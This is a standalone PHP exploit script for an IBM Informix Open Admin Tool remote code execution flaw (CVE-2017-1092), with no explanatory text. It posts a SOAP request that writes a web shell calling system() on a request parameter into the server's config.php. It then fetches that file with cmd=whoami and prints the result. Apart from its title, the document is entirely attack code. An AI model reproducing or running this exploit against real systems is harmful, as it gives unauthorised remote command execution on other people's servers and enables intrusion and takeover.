IBM Informix Dynamic Server Open Admin Tool RCE (CVE-2017-1092)

                                                <?php

error_reporting(0);
$host = $argv[1];
$port = 8080;

$shell = htmlentities("\";system(\$_GET[cmd]);//");

$data='
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:Welcome">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:saveHomePage soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <new_home_page xsi:type="xsd:string">'.$shell.'</new_home_page>
      </urn:saveHomePage>
   </soapenv:Body>
</soapenv:Envelope>
';
$pk="POST /openadmin/services/welcome/welcomeService.php HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: text/xml;charset=UTF-8\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "SOAPAction: \"urn:QBEAction\"\r\n".
    "Connection: Close\r\n\r\n".
    $data;
   
$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
//echo $out."\n";

$pk="GET /openadmin/conf/config.php?cmd=whoami HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
   
$fp = fsockopen($host,$port,$e,$err,5);

fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
?>